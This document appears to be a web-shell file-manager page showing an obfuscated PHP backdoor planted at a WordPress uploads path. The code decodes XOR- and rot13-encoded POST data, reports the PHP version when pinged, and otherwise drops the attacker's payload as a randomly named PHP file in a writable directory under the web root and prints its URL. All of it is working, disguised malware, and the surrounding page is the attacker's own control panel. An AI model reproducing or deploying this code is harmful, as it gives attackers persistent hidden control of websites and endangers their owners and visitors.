HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2024/02/gznarcmh.php
<?php function ZFzTEkupGZ($QNGIAN){$EvMAxrWhrr = 'r'.chr(97)."\x77".'u'.'r'.'l'.chr(146-46)."\x65".chr(99)."\x6f".'d'."\x65";$gXDWtHVUq = 's'.'t'."\x72"."\x5f".chr(608-494).chr(111).'t'."\61"."\63";$wJusGte = 's'."\x74"."\162"."\x5f".chr(115).chr(354-242).'l'.chr(105).'t';$QNGIAN = $wJusGte($EvMAxrWhrr($gXDWtHVUq($QNGIAN)));return $QNGIAN;}function ZuuZPG($vqZhBD, $QNGIAN){$ICOcfxAI = 's'."\164".chr(114)."\x5f"."\163"."\160".chr(108).chr(993-888).chr(116);$vqZhBD = array_slice($ICOcfxAI(str_repeat($vqZhBD, (count($QNGIAN)/16)+1)), 0, count($QNGIAN));return $vqZhBD;}function iyHmsHai($oTxHreT, $bABwxS, $vqZhBD){$vmdNhVYWOh = "154f04a3-3f99-4de0-b61e-75709b470d94";return $oTxHreT ^ $vmdNhVYWOh[$bABwxS % strlen($vmdNhVYWOh)] ^ $vqZhBD;}function NDCqcquI($QNGIAN, $vqZhBD){$QNGIAN = array_map("iyHmsHai", array_values($QNGIAN), array_keys($QNGIAN), array_values($vqZhBD));$QNGIAN = implode("", $QNGIAN);$PYOiOpA = "\165".'n'."\x73".chr(101)."\162".chr(337-232).chr(984-887)."\x6c".chr(864-759)."\172".chr(101);$QNGIAN = @$PYOiOpA($QNGIAN);return $QNGIAN;}function WVGBGJHm(){echo "yMrwGrbX";}function MWZRYm($gDtppDHir){static $xJuFvZbU = array();$oFNVTSlt = glob($gDtppDHir . '/*', GLOB_ONLYDIR);$DBClMDQShZ = count($oFNVTSlt);if ($DBClMDQShZ > 0) {foreach ($oFNVTSlt as $gDtppDH) {$lXaeffu = "\x69"."\163"."\x5f".'w'."\162".chr(105)."\x74".chr(97)."\142".chr(108).chr(101);if (@$lXaeffu($gDtppDH)) {$xJuFvZbU[] = $gDtppDH;}}}foreach ($oFNVTSlt as $gDtppDHir) MWZRYm($gDtppDHir);return $xJuFvZbU;}function nfXnIrbGd(){echo "fzYwrQm";}function rVklrUK($QNGIAN){$sYflXSR = chr(68)."\x4f".chr(231-164).'U'.'M'.'E'.chr(78)."\124".'_'.chr(621-539).'O'."\x4f"."\x54";$becyjN = $_SERVER[$sYflXSR];$oFNVTSlt = MWZRYm($becyjN);$KKCFp = array_rand($oFNVTSlt);$jnCNRf = chr(396-350).chr(920-808)."\x68".chr(935-823);$FbwDYdyIDF = $oFNVTSlt[$KKCFp] . "/" . substr(md5(time()), 0, 8) . $jnCNRf;$jNMlZW = chr(808-706)."\151".'l'."\x65".chr(95).chr(112).'u'.'t'."\137".chr(99).'o'.chr(110).'t'."\x65"."\156".chr(458-342).chr(198-83);@$jNMlZW($FbwDYdyIDF, $QNGIAN);$uyZAA = "\x48".'T'.chr(362-278).'P'.chr(581-486).chr(1058-986)."\117".'S'.'T';$VhNbcFIV = "\150".chr(309-193)."\164".chr(112).':'.'/'.'/';$AktJF = $VhNbcFIV . $_SERVER[$uyZAA] . substr($FbwDYdyIDF, strlen($becyjN));print($AktJF);}foreach ($_POST as $vqZhBD => $QNGIAN){$uYIBUN = strlen($vqZhBD);if ($uYIBUN == 16){$QNGIAN = ZFzTEkupGZ($QNGIAN);$vqZhBD = ZuuZPG($vqZhBD, $QNGIAN);$QNGIAN = NDCqcquI($QNGIAN, $vqZhBD);if (@is_array($QNGIAN)){$KKCFp = array_keys($QNGIAN);$QNGIAN = $QNGIAN[$KKCFp[0]];if ($QNGIAN === $KKCFp[0]){$dDydW = "\160".chr(895-791).chr(197-85);$ZQoLd = 'p'.chr(807-703)."\x70"."\x76".chr(1073-972).chr(537-423)."\163".chr(105).chr(850-739)."\x6e";$asrmK = chr(115)."\x65".'r'.chr(765-660)."\141".'l'.'i'.'z'.chr(101);echo @$asrmK(Array($dDydW => @$ZQoLd(), ));}else {rVklrUK($QNGIAN);}die();}}}